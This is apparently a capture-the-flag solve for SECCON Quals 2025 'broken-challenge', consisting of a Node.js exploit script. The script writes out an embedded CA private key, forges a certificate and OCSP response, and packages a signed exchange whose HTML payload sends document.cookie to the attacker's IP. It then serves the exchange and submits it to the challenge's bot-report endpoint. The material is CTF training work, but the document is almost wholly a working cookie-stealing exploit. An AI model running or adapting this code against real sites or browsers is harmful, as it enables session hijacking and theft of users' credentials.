https://github.com/southball/ctf-writeups/tree/main/Wani-CTF-2024/web/tls_spec
Basicaly forensic+web
Cross SXG Exploit
| Event Name | SECCON Quals 2025 |
| GitHub URL | - |
| Challenge Name | broken-challenge |
Attachments
References
solve
const fs = require('fs');
const { execSync } = require('child_process');
const path = require('path');
const http2 = require('http2');
const http = require('http');
// --- Configuration ---
const CONFIG = {
hostIp: '31.97.223.21',
port: 8000,
remoteHost: 'broken-challenge.seccon.games',
// Tools from the challenge environment
genSxgPath: path.join(process.env.HOME, 'go/bin/gen-signedexchange'),
genCertUrlPath: path.join(process.env.HOME, 'go/bin/gen-certurl')
};
// --- Embedded Secrets ---
const CA_KEY = `-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49
AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5
wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==
-----END EC PRIVATE KEY-----`;
const CA_CERT = `-----BEGIN CERTIFICATE-----
MIIBizCCATCgAwIBAgIUbjrJ6hhsPbR+q3b8T6k3HkFyOEwwCgYIKoZIzj0EAwIw
ETEPMA0GA1UEAwwGc2VjY29uMB4XDTI1MTEzMDA5MTk1NloXDTM1MTEyODA5MTk1
NlowETEPMA0GA1UEAwwGc2VjY29uMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE
lm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1
e64FKrqqHva6JMAJFafgO6NmMGQwHQYDVR0OBBYEFDodm68MB38A8T2XQBNFvbqd
m0UNMB8GA1UdIwQYMBaAFDodm68MB38A8T2XQBNFvbqdm0UNMBIGA1UdEwEB/wQI
MAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMCA0kAMEYCIQCDgCwj
OhKsCL0k3BQMLjpmIRLolYE9hIB9UQB7lEMlJAIhAM3Rujzc1PfYeejf/cZE+KFB
UbPgcyNGemJdufTNUF1z
-----END CERTIFICATE-----`;
// --- Helpers ---
function runCmd(cmd) {
console.log(`[*] Running: ${cmd}`);
try {
execSync(cmd, { stdio: 'inherit' });
} catch (e) {
console.error(`[-] Command failed: ${cmd}`);
process.exit(1);
}
}
async function main() {
console.log("[*] Starting exploit setup (Restored Mode)...");
// 1. Write CA Files to Disk
fs.writeFileSync('ca.key', CA_KEY);
fs.writeFileSync('ca.crt', CA_CERT);
// 2. SXG OpenSSL Config
const sxgExt = `
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_req
[req_distinguished_name]
CN = hack.the.planet.seccon
[v3_req]
basicConstraints = CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL
[alt_names]
DNS.1 = hack.the.planet.seccon
IP.1 = ${CONFIG.hostIp}
`;
fs.writeFileSync('sxg.ext', sxgExt);
// 3. Generate Server Keys & Certificate
// Serial must match the index.txt entry for OCSP
runCmd('openssl ecparam -name prime256v1 -genkey -out server.key');
runCmd('openssl req -new -key server.key -out server.csr -subj "/CN=hack.the.planet.seccon" -config sxg.ext');
runCmd(`openssl x509 -req -days 90 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 0x1000 -out server.crt -extensions v3_req -extfile sxg.ext`);
// 4. Generate Valid OCSP Response
const indexContent = `V\t301231235959Z\t\t1000\tunknown\t/CN=hack.the.planet.seccon\n`;
fs.writeFileSync('index.txt', indexContent);
runCmd('openssl ocsp -issuer ca.crt -cert server.crt -reqout server.req');
runCmd('openssl ocsp -index index.txt -rsigner ca.crt -rkey ca.key -CA ca.crt -reqin server.req -respout server.ocsp -ndays 365');
// 5. Generate Cert Chain CBOR
// Using gen-certurl to ensure Canonical CBOR encoding required by SXG
console.log("[*] Generating Cert Chain CBOR...");
const chainContent = fs.readFileSync('server.crt') + '\n' + fs.readFileSync('ca.crt');
fs.writeFileSync('chain.pem', chainContent);
// Ensure tool exists or fail early
if (!fs.existsSync(CONFIG.genCertUrlPath)) {
console.error(`[!] gen-certurl not found at ${CONFIG.genCertUrlPath}`);
console.error(" Ensure you are running this in the correct environment or update the path.");
}
runCmd(`${CONFIG.genCertUrlPath} -pem chain.pem -ocsp server.ocsp > cert.cbor`);
// 6. Create Payload
const payloadHtml = `
<!DOCTYPE html>
<html>
<body>
<h1>Pwned via SXG</h1>
<script>
var cookie = document.cookie;
var logUrl = "https://${CONFIG.hostIp}:${CONFIG.port}/log?cookie=" + encodeURIComponent(cookie);
navigator.sendBeacon(logUrl);
new Image().src = logUrl;
</script>
</body>
</html>
`;
fs.writeFileSync('payload.html', payloadHtml);
// 7. Generate Signed Exchange (SXG)
const certUrl = `https://${CONFIG.hostIp}:${CONFIG.port}/cert.cbor`;
console.log(`[*] Generating SXG File (certUrl=${certUrl})...`);
const now = Math.floor(Date.now() / 1000);
const sxgCmd = `${CONFIG.genSxgPath} ` +
`-uri https://hack.the.planet.seccon/ ` +
`-content payload.html ` +
`-certificate server.crt ` +
`-privateKey server.key ` +
`-certUrl ${certUrl} ` +
`-validityUrl https://hack.the.planet.seccon/resource.validity.${now} ` +
`-o exploit.sxg`;
runCmd(sxgCmd);
// 8. Start HTTP/2 Server
startServer();
}
function startServer() {
const options = {
key: fs.readFileSync('server.key'),
cert: fs.readFileSync('server.crt'),
allowHTTP1: true
};
const server = http2.createSecureServer(options, (req, res) => {
try {
const urlObj = new URL(req.url, `https://${req.headers.host}`);
const pathname = urlObj.pathname;
console.log(`[SERVER] Request: ${req.method} ${pathname}`);
res.setHeader('Access-Control-Allow-Origin', '*');
if (pathname === '/exploit.sxg') {
res.setHeader('Content-Type', 'application/signed-exchange;v=b3');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.end(fs.readFileSync('exploit.sxg'));
}
else if (pathname === '/cert.cbor') {
res.setHeader('Content-Type', 'application/cert-chain+cbor');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.end(fs.readFileSync('cert.cbor'));
}
else if (pathname.startsWith('/log')) {
console.log(`\n[+] RECEIVED DATA: ${urlObj.searchParams.get('cookie')}`);
res.end('Logged');
process.exit(0); // Exit on success
}
else {
res.statusCode = 404;
res.end('Not Found');
}
} catch (e) {
console.error("Server error:", e);
}
});
server.listen(CONFIG.port, '0.0.0.0', () => {
console.log(`[*] Secure Server (HTTP/2) listening on port ${CONFIG.port}`);
triggerBot();
});
}
function triggerBot() {
const targetUrl = `https://${CONFIG.hostIp}:${CONFIG.port}/exploit.sxg`;
console.log(`[*] Triggering bot visit to ${targetUrl}...`);
const payload = JSON.stringify({ url: targetUrl });
const req = http.request({
hostname: CONFIG.remoteHost,
port: 1337,
path: '/api/report',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': payload.length
}
}, (res) => {
console.log(`[BOT] Status: ${res.statusCode}`);
res.pipe(process.stdout);
});
req.on('error', console.error);
req.write(payload);
req.end();
}
main().catch(console.error);